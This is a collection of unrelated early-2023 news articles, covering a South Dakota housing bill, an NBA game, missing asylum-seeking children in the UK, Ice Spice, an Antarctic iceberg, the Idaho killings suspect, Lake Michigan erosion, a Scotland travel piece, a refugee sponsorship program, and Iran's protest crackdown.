The fear is the reserve could fall even further and reach levels below what's been recorded in government data, which stretches back to 1982.

At that point, McNally said, we're down to getting close to where it's useless.

Ben Werschkul is Washington correspondent for Yahoo Finance.

Click here for politics news related to business and money

Read the latest financial and business news from Yahoo Finance

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Jan. 23PIERRE, S.D.  Gov. Kristi Noem is set to receive her first opportunity for a major signature this legislative session. It didn't come without a fight.

Despite outspoken opposition from the conservative wing of the House Republican caucus, an unexpected delay and a plethora of proposed amendments, Senate Bill 41, the $200 million in grants for helping municipalities develop housing infrastructure, passed the House 54-16 on Jan. 23.

"Our priority in the House is to get this done," House Majority Leader Will Mortenson, of Pierre, said before the vote. "We've made it a priority so far, we've been talking to our caucus about it literally since day one. And so we're gonna get it down to the governor quickly."

The bill, supported by

nearly every interest group in the state

related to business or local government,

passed

the Senate on Jan. 12 and emerged from a House committee earlier this week on Jan. 17, both times with little resistance.

Backers of the bill say the money is needed to supplement private developers in their bid to build adequate housing in the rapidly growing state. Due to the successful two-thirds majority in both chambers, the money will be available for processing municipal applications upon Noem's signature, which had been a central goal for proponents.

"Every community you go through in South Dakota, workforce is the number one issue and really, it is a serious challenge," Senate Majority Leader Casey Crabtree, of Madison, said during a press conference with Republican leadership on Jan. 18. "If we don't get serious about tackling this, our economy is going to shrink. Things are going to change around here."

The idea for grants and loans dedicated to constructing housing infrastructure such as sewers, streetlights and roads took a total of almost three years; while similar legislation passed last session, it was held up in administrative limbo as the South Dakota Housing Development Authority awaited "clarification" from the legislature.

Story continues

Rep. Jon Hansen, an opponent of the bill, framed this wait as proof that the state's housing market could do without the planned government infusion, as South Dakota had posted one of the nation's fastest-growing housing markets over that time period.

"Even after that, it's still being claimed that there's a crisis that needs to be addressed," Hansen said. "Now inflation has led to higher burdens on the housing market. Well, what led to the inflation? Big government spending. And what's the proposed solution here? More big government spending."

Another concern of the opposition was the potential for these dollars to further squeeze supplies of labor and materials that have been significantly increasing construction costs.

"If we release this money, the homes still need to be built, which is a need that our own home builders are already accomplishing," Rep. Julie Auch, of Yankton, said during debate on Jan. 20. "The homebuilders I visit with are concerned that these $150 million dollars are going to be spent by a few large investors and small hometown home builders will run into supply issues."

Proponents of the bill point out that 70% of the money is earmarked for smaller municipalities in the state, many of which do not have large contractors that could take in windfalls of state and federal cash.

"It feels like there is a contingent in this body that came in with their mind made up," Rep. Carl Perry, of Aberdeen, who voted in favor of the measure, told Forum News Service after the vote. "I looked at both sides with an open mind and came to what I felt was the best decision."

In trying to address another oppositional concern of the money landing in the hands of a few "well-connected developers," Rep. John Mills proposed an

amendment

that would bypass the oversight of the South Dakota Housing Development Authority on these dollars, instead giving the money directly to counties.

The amendment as written gave wide discretion to counties to use these dollars on several types of "capital projects," including infrastructure, housing infrastructure and incarceration.

The amendment failed 51-18 on Jan. 20, with Rep. Roger Chase, of Huron, a prime sponsor of the housing infrastructure bill as written, criticizing the proposed "cash drop" and underscoring the competence of SDHDA to administer these funds. Other criticisms included a funding mechanism that "punished" smaller counties.

A second amendment on Jan. 20, from Rep. Liz May, of Kyle, would have stripped the emergency clause from the bill, which would delay the dispersion of funds until July 1 rather than making them available upon the governor's signature. It was on the May amendment that Rep. Tina Mullaley, of Rapid City, invoked legislative rule 5-17, which immediately delays any action on an amendment one legislative day.

When the chamber returned from a weekend break, legislators dived back in where they left off and considered several other amendments. May's amendment, which she said would "slow off this train wreck," was voted down on a roll call vote, 51-19.

Another amendment sought to target the money

more directly into lower-income "workforce" housing.

Proposed by Rep. Greg Jamison, of Sioux Falls, it would have required that the infrastructure built by these dollars be targeted toward "households with earned income that is insufficient to secure quality housing in reasonable proximity to the workplace."

Rep. Roger Chase, the bill's prime sponsor  who had become the de facto amendment-buster over the handful of considerations taking place during the two-day vote-a-rama  took issue with the wide breadth of potential interpretations that can come from the word "workforce," which Jamison had amended into the text several times in order to underline the intertwined issues of workforce and housing.

Finally, an amendment from Rep. Tony Randolph, of Rapid City, would have imposed

severe criminal penalties

on "current or future" legislators who benefit "directly or indirectly" from the dollars expended under the legislation.

The amendment failed by voice vote, with Rep. Taylor Rehfeldt, of Sioux Falls, pointing out that the South Dakota State Constitution already requires legislators to avoid conflicts of interest.

Jason Harward is a

Report for America

corps reporter who writes about state politics in South Dakota. Contact him at

605-301-0496

or

jharward@forumcomm.com.
HOUSTON  One number stood out among all the other bad ones for the Timberwolves in their 119-114 loss to the lowly Rockets: 10, as in 10 turnovers in the third quarter.

That stat sums up everything about the Wolves on Monday and who they are as a team. Those turnovers were self-inflicted, not the product of playing a stifling defense. The Wolves again showed who they were in falling to the Rockets, who had just 10 victories entering the night and had lost 13 in a row. They were undisciplined, lacking focus and it cost them in a game they should have won against the team with the worst record in the league.

"We have the ability to beat anybody, and we have the ability to lose to anybody and that's been on display all season," coach Chris Finch said. "That's an immature trait."

Jalen Green scored a career-high 42 points for Houston. D'Angelo Russell had 30 points and Anthony Edwards 31 for the Wolves.

In their two previous matchups this month, the Wolves had to overcome double-digit deficits to beat Houston. They messed around a little too much Monday, and they weren't trying to dispute the idea that they took the Rockets too lightly.

"It's a bad tendency, but it is a tendency," Edwards said. "It's a bad tendency I got to change within myself and we got to change together. If this was anybody else we're coming out ready to play."

The Wolves will look back on nights like Monday and the two games they dropped against the Pistons, the worst team in the East, as missed opportunities. They are 3-3 in their six matchups against those two teams. Add in the Spurs and Hornets, the second-worst teams in each conference, and the Wolves are 4-6 against the bottom four teams in the league.

"You are what you repeatedly do," Finch said. "We repeatedly struggle with these types of games. Focus sure has to be part of the problem, but we just didn't have enough guys play well either. Go down there and there's not a whole lot of guys who played well."

Story continues

Rudy Gobert returned from a three-game absence because of right groin soreness to score 15 points and grab 16 rebounds, but Kyle Anderson battled foul trouble and only played 12 minutes and had two points. Naz Reid played just nine minutes and scored two points.

Few were offering help to Edwards and Russell in terms of scoring and almost nobody bothered to play defense to the best of their ability. The Rockets shot 50% for the game and won despite having 23 turnovers of their own. The Wolves had 19.

The teams were tied at halftime, but the Wolves were down nine after their mistake-prone third quarter. They never tied or took the lead again despite getting within 100-99 on an Edwards three-pointer with 5 minutes, 6 seconds remaining.

"It's kind of a bad habit. Have an opportunity to take advantage of it and give ourselves a chance to catapult in the standings a little bit and just failed to take advantage of it," Russell said. "If it was the other way around and we had New Orleans [their opponent Wednesday] for that spot, we probably would've came around and played  Just making it harder for ourselves."

BOXSCORE: Houston 119, Wolves 114

Edwards said he hoped the Wolves played the Rockets again so the Wolves had a chance to rectify Monday's performance. They don't and they won't.

"The games we got to win, we got to take care of them," Edwards said. "Finchy shouldn't have to be doing too much coaching these games. He should just be sitting on the bench. We have to take care of them. That's on us."
Approximately 200 children who were seeking asylum in the United Kingdom have gone missing from hotels where they were being housed, Britain's immigration minister told members of Parliament on Tuesday. Robert Jenrick called the situation "extremely concerning," BBC News reported.

Jenrick said that out of 4,600 asylum-seeking children who had arrived in the U.K. since 2021, 440 had gone missing, but half had returned to their accommodations. He said the majority of the missing children are teenage boys from Albania, and that he had not seen evidence that they had been abducted.

Asylum-seekers who make it to the U.K. are often housed in hotels while their asylum cases are processed. This can take many months.

Opposition lawmaker Yvette Cooper said there was "a criminal network involved" in removing the children from the hotels where they were staying, and that the government was "completely failing to stop them," according to BBC News.

A group of people thought to be migrants are brought in to Dover, England, onboard a Border Force vessel following a small boat incident in the English Channel on January 2, 2023. / Credit: Gareth Fuller/PA Images via Getty Images

Over the weekend, the British newspaper The Observer reported that dozens of children had been kidnapped by gangs from a hotel housing asylum-seekers in the English coastal city of Brighton. CBS News cannot independently verify this report.

"Children are literally being picked up from outside the building, disappearing and not being found. They're being taken from the street by traffickers," an unnamed whistleblower from a company contracted by the British government told The Observer.

Britain's Home Office said that it was not true that children were being kidnapped, The Observer reported, and that they were free to leave their accommodations.

"It is a total dereliction of duty," Cooper said, "for the Home Office to so badly fail to protect child safety or crack down on the dangerous gangs putting them in terrible risk. Ministers must urgently put new protection arrangements in place."

Giant iceberg breaks away from the Brunt Ice Shelf in Antarctica

Dog owner reacts after seeing her dog walk for the first time since physical therapy

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It has been practically impossible to miss the impact of one of hip-hops newest it-girls. If you havent yet, dont worry. Meet Ice Spice, the TikTok sensation that is now heating up your airways.

The rapper got her first start on the scene with the single Munch (Feeling U) but who is she? Lets start before the fame.

Developing Ice Spice

Isis Gaston was born on the first day of the millennium. Many of her fans on TikTok say that she was destined for greatness since birth. She was raised in The Bronx by her Nigerian father and Dominican mother, who divorced by the time she was two years old. Growing up she took a liking to rap. Her father was a local underground rapper, so her love for music developed at 7 years old. She found inspiration from acts like Nicki Minaj. She began writing poetry and freestyles in elementary school through high school. By her freshman year, she created Ice Spice and wanted to take her career to the next level.

After high school she attended SUNY Purchase as a mass communications major. Eventually, she dropped out but not after meeting RIOTUSA, who attended the school as well. RIOTUSA is the son of NYCs Hot 97s own DJ Enuff and has cultivated a career for himself as a producer.

Ice Spice Going Viral

After dropping out of college in 2020, she decided to put her music at the forefront. She took to TikTok to have a wider reach. Back in January 2021, Erica Banks Buss it challenge took the app by storm. The challenge consisted of users looking very normal with no makeup and a scarf or glasses on at first. When the song gets to the chorus, the same user will drop down and transition into a full look with hair and makeup done.

Ice Spice joined in on the challenge for fun, but little did she know that this was her key to stardom.

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The now-deleted video went viral and even resurfaced last November as fans realized the girl that dropped it down low the previous year is the same girl bringing a new sound to hip-hop. Ice Spice decided to capitalize off of this momentum and dropped her single Bully Freestyle the following March. The track was produced by Riot and solidified them as a dynamic duo.

Hit After Hit After Hit

Bully Freestyle went on to become a hit amongst her core fans. The song was featured on Apple Musics The New New York playlist and fueled her fire. She and Riot released more projects like Munch (Feeling u) and Bikini Bottom. Both of which ended up going viral. She began getting traction on social media and seemingly grew overnight. Her TikTok following now stands at 2.7 million.

What makes her music so creative is its sound. Drill music has become very popular especially in the New York area. Ice Spice and Riot took the drill sound and added a twist to it. Her songs sample 2000s EDM and pop hits like Clarity by Zedd and In the Name of Love by Bebe Rexha and Martin Garrix. Bikini Bottom got its name from using a beat that sounded similar to a tune you would hear while watching Nickelodeons Sponegbob Squarepants.

New EP

The duo recently released Ice Spices first EP, Like..? The project consists of a track list with only six songs: In Ha Mood, Princess Diana, Gangsta Boo, feat. Lil Tjay, Actin a Smoochie, Bikini Bottom, and Munch (Feelin U). Although a few songs on this project were previously released, the newer ones didnt stray away from the unique drill sound. In Ha Mood and Acton a Smoochie both incorporate the Jersey club sound that is growing in popularity as well. Gangsta Boo features a sample from Diddys I Need a Girl (Part 2).

Pitchfork released a detailed review of the new project. In the article, the EP received a rating of 7.6, higher than the albums Her Loss by Drake & 21 Savage, I Never Liked You by Future, and Its Only Me by Lil Baby. Each album have been considered some of the best hip-hop projects of 2022.

Its evident that Ice Spices journey is just beginning and she knows that too. In an interview with XXL Magazine she says shes just getting started. I just started my career so I got a long way to go before Im satisfied. But I want to be remembered for all the things I didnt get to do yet.
One of the planet's most closely observed ice shelves just had a major change. On Sunday, a massive piece of Antarctica's Brunt Ice Shelf  a chunk about the size of two New York Cities  broke free.

The British Antarctic Survey said Monday that the iceberg is 1,550 square kilometers, or just under 600 square miles.

NEW satellite image of the huge iceberg that has calved off the Brunt Ice Shelf in #Antarctica shows a clear break. Image was acquired late Monday by Suomi/NPP VIIRS satellite courtesy of @NASA pic.twitter.com/16go7kezUo  British Antarctic Survey (@BAS_News) January 24, 2023

This is the second major break-off from the ice shelf, known as calving, in two years, although scientists have long predicted it to happen. According to the British Antarctic Survey, cracks have been naturally developing across the entire ice shelf for a decade.

The Brunt Ice Shelf lies across the Weddell Sea from the site of another ice shelf that's made headlines, the Larsen C ice shelf on the Antarctic Peninsula. Last year, the Larsen C ice shelf  which was roughly the size of New York City and was long considered to be stable  collapsed into the sea.

It was the first time in human history that Antarctica had such a collapse. It happened after an atmospheric river brought unusually warm air to the region, and many pointed to climate change as a possible factor.

This map of Antarctica shows the location of various Antarctic ice shelves. / Credit: Agnieszka Gautier, National Snow and Ice Data Center

But according to BAS glaciologist Dominic Hodgson, the latest iceberg break-off from Brunt "is not linked to climate change."

"This calving event has been expected and is part of the natural behavior of the Brunt Ice Shelf," Dodgson said.

Story continues

A major crack in the Brunt shelf, known as a chasm, had been dormant for decades, but in 2012, scientists detected a major change. It was continuously growing starting in 2015, and by December last year, researchers said it "extended across the entire ice shelf."

This is the second time in two years that an iceberg has calved from the ice shelf.

The last one, known as A74, formed in February 2021  not even 5 years after a new crack known as the Halloween Crack formed. It's slightly smaller than the latest break-off, and has since drifted away into the Weddell Sea.

The newest iceberg will be named by the U.S. National Ice Center. Researchers believe that it will likely follow A74's path into the sea.

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Bryan Kohberger, who is accused of killing four University of Idaho students, is escorted to an extradition hearing at the Monroe County Courthouse in Stroudsburg, Pennsylvania, on January 3, 2023. Matt Rourke/Pool via REUTERS

The Idaho killings suspect applied for a job with the Pullman police last April, the NYT reported.

Emails obtained by the NYT show that Bryan Kohberger was among four applicants.

Pullman police assisted Idaho law enforcement officials in arresting Kohberger last month.

The Idaho killings suspect interviewed for a job with the police department that helped arrest him several months later, The New York Times reported on Sunday.

An email exchange obtained by The Times shows that Bryan Kohberger had an online meeting with Pullman Police Chief Gary Jenkins last spring to apply for the position of "graduate research assistant" at the department.

The job was created by Washington State University, which is located in Pullman, to support local police agencies, The Times reported.

At the time he applied for the job, Kohberger was just starting his first semester at WSU as a Ph.D. student studying criminology.

"It was a great pleasure to meet with you today and share my thoughts and excitement regarding the research assistantship for public safety," Kohberger wrote Jenkins in an email dated April 12, 2022, as per The Times.

The chief responded: "Great to meet and talk with you as well," according to The Times.

The interviews for the position were conducted online, The Times reported, adding that the job was meant to start in August 2022.

It is unclear whether Kohberger was offered the position, or got the job, but he was among four applicants for it, the report said.

The Pullman Police Department did not immediately respond to Insider's request for comment.

Pullman is a 15-minute drive away from Moscow Idaho, where four University of Idaho students  Ethan Chapin, 20, Madison Mogen, 21, Xana Kernodle, 20, and Kaylee Goncalves, 21  were found dead in their home on November 13.

Nearly one month later, Kohberger was arrested on one count of burglary and four first-degree murder charges in connection to their deaths. He was living with his parents in Pullman at the time of his arrest.

Story continues

Pullman Police were among several departments that assisted Idaho law enforcement officials in arresting Kohberger.

They helped execute a search warrant at Kohberger's on-campus apartment and office, Moscow-Pullman Daily News and CBS News reported.

Kohberger appeared several times in Latah County District Court in Moscow, Idaho, earlier this month. His trial is expected to begin in June.

Read the original article on Insider
A mom and her child play along the shore of Lake Michigan at Illinois Beach State Park on Monday, Nov. 8, 2021, in Zion. (Stacey Wescott/Chicago Tribune) (Stacey Wescott / Chicago Tribune)

Another attempt to stave off natures fury will begin this spring along a portion of Lake Michigan. Perhaps it will be more successful than previous endeavors.

The state will spend $74.5 million to bolster the dwindling sandy shoreline at Illinois Beach State Park near Zion. It may well be the largest capital project in the history of the Illinois Department of Natural Resources.

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Plans announced earlier this month, according to Gavin Goods page-one story in The News-Sun, call for 250,000 tons of rocks and other material to be dumped over more than 12 acres of Illinois Beach shoreline to form underwater reefs. An additional 430,000 cubic yards of sand also will be in the mix to stabilize the beaches.

A cadre of geologists and scientists hope the planned work will keep the might of Lake Michigan at bay. Those who have observed the lake over the years, and its natural tendencies to exert its power and cause damage, know that is not an easy task. In previous decades, tons of riprap, large boulders placed as breakwaters to stem wave action, failed to stop erosion.

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It was just a few short years ago that wave action from a near-high lake level was devastating Lake Michigan beaches from Door County, Wisconsin, to Indiana Dunes National Park, to those along Michigans western lakeshore communities. Now, the Big Lake is approaching, or has met its long-term average water level.

Seasonal changes in lake levels have been marked for decades. State geologists point out that from 2012 to 2020, the North Unit of Illinois Beach lost an estimated 670,570 cubic yards of shoreline due to the brutal pounding of ice-laden storms and wind-driven surf.

Taking on the unrelenting waves and saving the parks beaches is an admirable goal. Yet, Illinois Beach, one of the most-visited state parks, seems to need a face-lift.

Perhaps it was that blustery and cloudy winters day giving it that neglected look. Although the same day, in comparison, Winthrop Harbors North Point Marina, the largest boat basin on the Great Lakes, had that new-car look.

Losing shoreline to erosion, caused by vacillating water levels and wind-whipped waves, has been a concern for more than 50 years. It is not the only threat to Lake Michigan, which supplies drinking water to most Lake County residents.

There are long-standing ecological problems: Industrial pollution in harbors  which Waukegan is quite familiar with  to invasive species such as zebra and quagga mussels, along with loss of wetlands and other wildlife habitat. Toss in climate change  charging stations for electric watercraft which certainly are coming to move marinas to carbon-neutral planning  and saving infrastructure, or just maintaining the status quo along Lake Michigan, will require mega bucks.

A recent international report on the Great Lakes showed Lake Michigan has a fair and unchanging ecosystem. The analysis is conducted once every three years as part of the Great Lakes Water Quality Agreement between the United States and Canada.

Afternoon Briefing Daily Chicago Tribune editors' top story picks, delivered to your inbox each afternoon. By submitting your email to receive this newsletter, you agree to our Subscriber Terms & Conditions and Privacy Policy >

The study noted Lake Michigan has a wide array of plant and animal species, but invasive species and other stressors continue to affect both water quality and the lakes food web. The lake also faces possible pollution from the ash pits along Waukegans shoreline, left over from the coal-fired power generation plant along Pershing Road and Greenwood Avenue. Its just across the street from the Manville Superfund asbestos site.

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Also in the background are toxic forever chemicals and microplastic pollution. According to the National Oceanic and Atmospheric Administration, 10,000 metric tons of plastics enter the Great Lakes each year.

One forever chemical is perfluoroctane sulfonate, manufactured by 3M Co. for decades and found in stain-resistant fabrics and food packaging, among other uses. A front-page story in the Jan. 18 News-Sun warned of eating freshwater fish because PFOS found in them can cause liver damage and cancer in humans.

Shoring up the shoreline at Illinois Beach may help the aesthetics at the state park and protect it from an angry Lake Michigan. Yet there are other dangers to maintaining a healthy ecosystem for the lakes future.

Charles Selle is a former News-Sun reporter, political editor and editor.

sellenews@gmail.com

Twitter: @sellenews
Grocery shopping in Scotland. Coren Feldman

On my first-ever visit to Scotland, I was surprised by how cheap groceries were priced compared to the US.

I came across more American brands in Scotland than I thought I would.

I didn't realize some stores closed for lunch in the middle of the day.

I recently visited Scotland for the first time.

The author in Edinburgh, Scotland. Coren Feldman

I grew up in the Midwest and have now lived in New York City for six years, but I had never been to the UK before until January, when I took a vacation to Scotland.

I stayed in Edinburgh and traveled to Glasgow and Inverness by train. I also made a quick trip to England, staying in London.

While I was aware of major differences between the US and Scotland, such as driving on opposite sides of the road, I was still surprised by some aspects of my time there.

I was surprised by how rapidly the Scottish weather changed throughout the day during my visit.

These photos were taken less than an hour apart. Coren Feldman

On the morning I hiked up Arthur's Seat, an 823-foot ancient volcano in Edinburgh, the weather started out sunny and clear. By the time I reached the top less than an hour later, I found myself caught in a full-on blizzard.

Other days started with pouring rain and cleared up completely by the afternoon. I quickly realized the importance of a waterproof coat and shoes, and dressing in layers.

In the winter, the sun set earlier in the day than I was used to.

The train to Inverness had gorgeous ocean views. Talia Lakritz/Insider

Because Scotland is further north than the contiguous US, daylight hours are even shorter in the winter. I visited Scotland in January, and I was surprised when the golden hour of sunset colors began to appear in the sky around 2 p.m.

I came across more American brands in Scotland than I thought I would, with some differences.

TK Maxx is the UK's version of TJ Maxx. Coren Feldman

As I walked around cities like Edinburgh and Glasgow, I found that American fast-food establishments such as Burger King, KFC, and Subway were widely available.

There were also some surprising differences, like how the UK version of TJ Maxx is called TK Maxx. Both brands are owned by TJX Companies, which has more than 4,700 discount stores around the world, Insider's Grace Dean and Dominick Reuter reported. When the company opened stores in the UK in 1994, they went with "TK" in the name to avoid it being confused with a UK-based discount department-store chain, TJ Hughes.

Story continues

Some public bathrooms cost money to use.

Not all public bathrooms are free. Talia Lakritz/Insider

At the Glasgow Queen Street train station, the bathroom access cost 50 pence (about 62 cents), and only accepted exact change. I don't think I've ever had to pay to use a public bathroom in America.

Groceries were so much cheaper in Scotland compared to what I pay in the US.

Grocery shopping in Scotland. Coren Feldman

Every time I went grocery shopping, I was shocked at how little my total was compared to my usual grocery spending in New York City.

For example, a package of Beyond Meat burgers cost 3 (about $3.71) at the Sainsbury's I visited in Edinburgh, while at Wegman's in Brooklyn they retail for $6.39.

Eggs aren't refrigerated in Scottish grocery stores, and they don't need to be refrigerated at home.

Eggs aren't refrigerated. Talia Lakritz/Insider

In America, eggs go through a washing and sanitizing process that clears contaminants, but also removes the natural protections that eggs have against bacteria, Insider's Kelly Burch reported. This requires eggs to remain refrigerated to reduce the risk of salmonella.

In Europe, eggs don't go through this sanitization process, so they don't require refrigeration. The UK also vaccinates chickens against salmonella.

As an American, I wasn't used to seeing eggs shelved next to canned goods and dried fruit instead of in the refrigerated section.

I was surprised to find that Scotland uses wooden single-use utensils instead of plastic ones.

Wooden cutlery. Talia Lakritz/Insider

Scotland banned single-use plastics in June 2022, becoming the first UK nation to do so. Instead of disposable plastic cutlery, wooden utensils were the norm.

I knew that cars drove on the left in Scotland, but I didn't realize that keeping to the left also applied to pedestrian traffic on staircases and escalators.

The rules of the road apply on staircases and escalators, too. Talia Lakritz/Insider

Signs at Edinburgh Waverley train station reminded travelers to "Please keep to the left" when walking down the staircase, whereas my instinct as an American would have been to keep to the stairs on the right. Up and down escalators were also on opposite sides than I was used to.

I discovered some stores close for lunch in the middle of the day.

A pharmacy closed for lunch in Edinburgh, Scotland. Talia Lakritz/Insider

Most stores in the US cities where I've lived don't close for a lunch hour, so I hadn't anticipated finding a closed pharmacy in the middle of the afternoon in Edinburgh.

I was amused by kitschy odes to American culture.

A New York-themed cafe in Glasgow. Coren Feldman

In Glasgow, my partner and I came across a New York City-themed diner and ventured inside to take a look. A neon sign proclaimed: "Spread love, it's the Brooklyn way."

"Clearly written by someone who has never been to Brooklyn," my partner joked.

Read the original article on Insider
Jan. 23Immigrant advocates in Maine are praising a new federal program that will enlist private citizens to help resettle refugees in the U.S., but some question how it will operate and interact with existing programs in a long-troubled immigration system.

The U.S. Department of State on Thursday launched the Welcome Corps, which aims to sign up 10,000 Americans to assist 5,000 refugees this year. The program will augment work traditionally done by nonprofit refugee resettlement agencies and tap community groups and individuals who helped to welcome thousands of Afghans, Ukrainians, Venezuelans and other newcomers in recent years, including here in Maine.

Under the program, groups of five or more Americans can apply to privately sponsor refugees, raising their own money and other support to help newcomers during their first 90 days in the country. Assistance would include greeting refugees at the airport, setting them up in apartments, helping them apply for jobs and enroll kids in school, and connecting them with essential community services.

Advocacy groups in Maine embraced the new effort and said it will help rebuild refugee resettlement programs that were greatly reduced under the previous administration.

"We welcome anything that complements existing programs that are working and doesn't supplant them," said Mufalo Chitam, executive director of the Maine Immigrants' Rights Coalition.

But some questioned the durability of a program pitched as "a new, permanent way for Americans to welcome refugees from around the world."

Chitam wondered whether the Welcome Corps would survive future political swings in the White House, especially when immigration policy has been in turmoil for decades.

"We need more hands on deck, but the refugee resettlement program is still recovering from setbacks during the Trump administration," she said.

President Biden vowed in 2021 to restore the U.S. as the world's haven for refugees and called for private sponsorship. Former President Donald Trump reduced annual refugee admissions to 18,000 by his last year in office, down from nearly 85,000 at the end of the Obama administration, according to the Pew Research Center.

Story continues

The Welcome Corps comes as the U.S. is far behind meeting Biden's goal to admit 125,000 refugees during the federal fiscal year 2023, the Associated Press reported. By the end of December  three months into the fiscal year  only 6,750 refugees had been admitted to the country, according to State Department tallies.

The gap emphasizes the crying need for the new program, said Reza Jalali, executive director of the Greater Portland Immigrant Welcome Center.

"As an immigrant advocate, I find it positive and forward-thinking," Jalali said. "And I believe it will benefit the communities welcoming these immigrants as well as the refugees themselves."

In Jalali's experience, many people who oppose helping refugees have never met or interacted with them. They don't understand the trauma many have experienced through war and persecution because of their religious, political and personal beliefs.

"This can help bridge those differences," Jalali said.

Jalali believes the Welcome Corps may attract some of the many community groups and individuals in Maine who are already volunteering their time and resources to help refugees, including people who came here as immigrants themselves.

It also may help answer local demand for workers, he said, because refugees arrive with work permits. The Welcome Corps' scope doesn't include asylum seekers, who wait about a year for work permits after applying for asylum.

Despite the program's positive intentions, Jalali has some concerns about how it will be administered and how much good it will do.

"The immigration system in our country is broken and we need comprehensive reform," he said. "This can't hide the fault lines in the system that need to be addressed."

The State Department will roll out the Welcome Corps in two phases in the hope of making it a permanent feature of the U.S. Refugee Admissions Program, according to the department's announcement.

In the first phase, private sponsors will be matched with refugees who have already been approved for resettlement. The State Department will begin facilitating those matches in the first six months of this year, the announcement stated.

In the second phase, to be launched midyear, private sponsors will be able to refer people to the Refugee Admissions Program and support them after they arrive.

The State Department is funding several nonprofits with expertise in refugee resettlement to oversee the vetting, certification and training of private sponsors. One of them is HIAS, an international affiliate of the Jewish Community Alliance of Southern Maine, which resettled 102 refugees in 2022 from Afghanistan, the Democratic Republic of the Congo, Syria and other countries.

"Ultimately, the scale of the need is so vast, we are always happy to see more people get involved in refugee resettlement work," said Molly Curren Rowles, the Jewish Community Alliance's executive director.

Catholic Charities Maine and Maine Immigrant & Refugee Services, two other nonprofit agencies that resettle refugees, didn't respond to calls or emails requesting interviews about the new program.

Rowles noted that Canada has long used a similar community-based model to help resettle refugees. The U.S. launched a smaller program in October 2021 that has helped just over 800 Afghans and Ukrainians through a network of 230 certified sponsor circles that included about 5,000 people, the AP reported.

"Hopefully it will make more people aware and help them understand what it means to be a refugee and what it takes to build a whole new life in a whole new country," Rowles said.
By Daphne Psaledakis and Humeyra Pamuk

WASHINGTON (Reuters) - The incoming U.S. ambassador to Russia Lynne Tracy has held a meeting on Tuesday with Moscow's top envoy in Washington DC Anatoly Antonov, State Department spokesperson Ned Price said.

Tracy, a veteran U.S. career diplomat, was confirmed by the U.S. Senate in December. She will depart for Russia in coming days and should be in place later this month, Price said.

He declined to detail what the two envoys have discussed but said they did not talk about "any form of negotiated settlements" over Russia's invasion of Ukraine.

"She's currently in the process of having consultations with desks and individuals here in Washington and in this case, she had an opportunity to have a discussion with Ambassador Antonov," Price said.

Tracy, who served as a U.S. diplomat in Central Asia and was the deputy chief of mission at the U.S. embassy in Moscow between 2014-2017, heads to Moscow at a time when the bilateral relationship between the two countries have plunged to depths not seen since the Cold War.

She replaces John Sullivan, a Republican lawyer with a public service career spanning four decades and five U.S. presidents, who left Moscow in September 2022. He was appointed by former president Donald Trump and was retained by President Joe Biden.

As bilateral ties have deteriorated, Washington and Moscow has also been in a dispute over staffing of their embassies in each other's capital, each criticizing the other for imposing restrictions.

Several months before his departure, Sullivan urged Russia to not close the U.S. Embassy. Price on Wednesday reiterated the importance of communication channels.

"We have been clear about our desire to maintain open channels of communication with Russia. We have an embassy in Moscow, it's under duress because of the pressure and the limitations that the Kremlin has imposed on it," he said.

"There are open channels of communication. We use these channels to convey where we are on issues that are of the utmost priority to us," he said.

(Reporting by Daphne Psaledakis, Humeyra Pamuk and Simon Lewis; Editing by David Gregorio)
SEOUL (Reuters) - South Korea plans to scrap a number of regulations in the local stock market within this year to make investment easier for foreign investors, its financial regulator said on Tuesday, in an effort to bring in more money into the market.

The Financial Services Commission said in a statement there was a huge discrepancy between the regulations currently in place and the global standards and that "(it) will boldly improve regulations that have hindered global investors from investing in our market."

The regulator said it would scrap a three-decade-old rule that requires foreigners to register with authorities prior to trading South Korean stocks. Instead, they will be allowed to open accounts with an internationally used identification, such as passport for individuals or legal entity identifier (LEI) for organisations.

It will also lift a rule that requires omnibus account holders, such as asset management firms and brokerages, to report on transaction details of each final investor within two days of settlement, as well as open up most of off-board trading to foreigners.

Meanwhile, it will become mandatory for South Korea's listed companies to provide corporate filings in English from 2024, starting with those of large sizes or high ratio of foreign shareholders, according to the statement.

The push comes as South Korea pursues the promotion of its stock market to Morgan Stanley Capital International's developed market index. It is currently categorised as an emerging market by the global index provider.

The regulator plans to complete the required legislation revision process in the first half of this year to implement such changes within 2023.

(Reporting by Jihoon Lee; Editing by Tomasz Janowski)
DUBAI (Reuters) - Iran on Tuesday strongly condemned new sanctions imposed by the European Union and Britain and said it would retaliate, after the West stepped up pressure on Iran over its crackdown on protests.

"The Islamic Republic will soon announce the list of new sanctions against the human rights violators of EU and England," Iran's Foreign Ministry Spokesperson Nasser Kanaani said in a statement.

The European Union imposed sanctions on more than 30 Iranian officials and organisations, including units of the powerful Revolutionary Guards, blaming them for a "brutal" crackdown on unrest and other human rights abuses.

The United States and Britain also issued new sanctions against Iran, reflecting a deterioration in the West's already dire relations with Tehran.

The sanctions are the latest response to Iran's deadly clampdown on unrest after the death of young Iranian Kurdish woman Mahsa Amini in morality police custody in September.

(Reporting by Dubai Newsroom; Editing by Michael Georgy & Shri Navaratnam)
A pair of photos shared on Twitter by the Iran Human Rights organization show Iranian national archer Kosar Khoshnoudikia competing, and then in a hospital after she says she was shot in the eye by Iranian security forces during a protest. / Credit: Iran Human Rights/Twitter

Paris  An Iranian archer who lost sight in her left eye after being shot by security forces at a protest has said she has "no regrets" for joining the nationwide demonstrations. Iranian authorities have cracked down for more than four months on the anti-regime protests sparked by the September 16 death in custody of Mahsa Amini, who was arrested for allegedly violating strict dress rules for women.



Kosar Khoshnoudikia, a member of Iran's national archery team, had been shot at a rally last year in her hometown of Kermanshah, in the Kurdish-populated west, said the Norway-based rights group Hengaw.



"I have felt no regrets for being there on that day, at that time," Khoshnoudikia said in a video posted Monday by London-based Iran International TV.

Iranian national archer Kosar Khoshnoudikia speaks in a video published online by the London-based Iran International TV network on January 23, 2023. / Credit: Iran International TV

Appearing without a headscarf and with her left eye concealed by a patch, Khoshnoudikia said in the video she had been shot in early December while attending a march in Kermanshah with her father.

"Three shots hit my right hand and one shot hit my left eye," she said, adding her father had also been shot in the hand.



Amnesty International and other rights groups have accused Iranian security forces of partially or completely blinding multiple protesters, firing live ammunition and metal pellets at close range.

Iranians shot by police seek online medical help from U.S. doctors

The government has acknowledged that hundreds of people have been killed as security forces clash with what Iranian officials define as "riots." According to Norway-based NGO Iran Human Rights, at least 481 people have been killed in the authorities' brutal crackdown on the protest movement.

Khoshnoudikia, who won silver in the compound bow women's team event at the 2021 Asian Archery Championships, did not say whether she believed she could resume her sporting career.

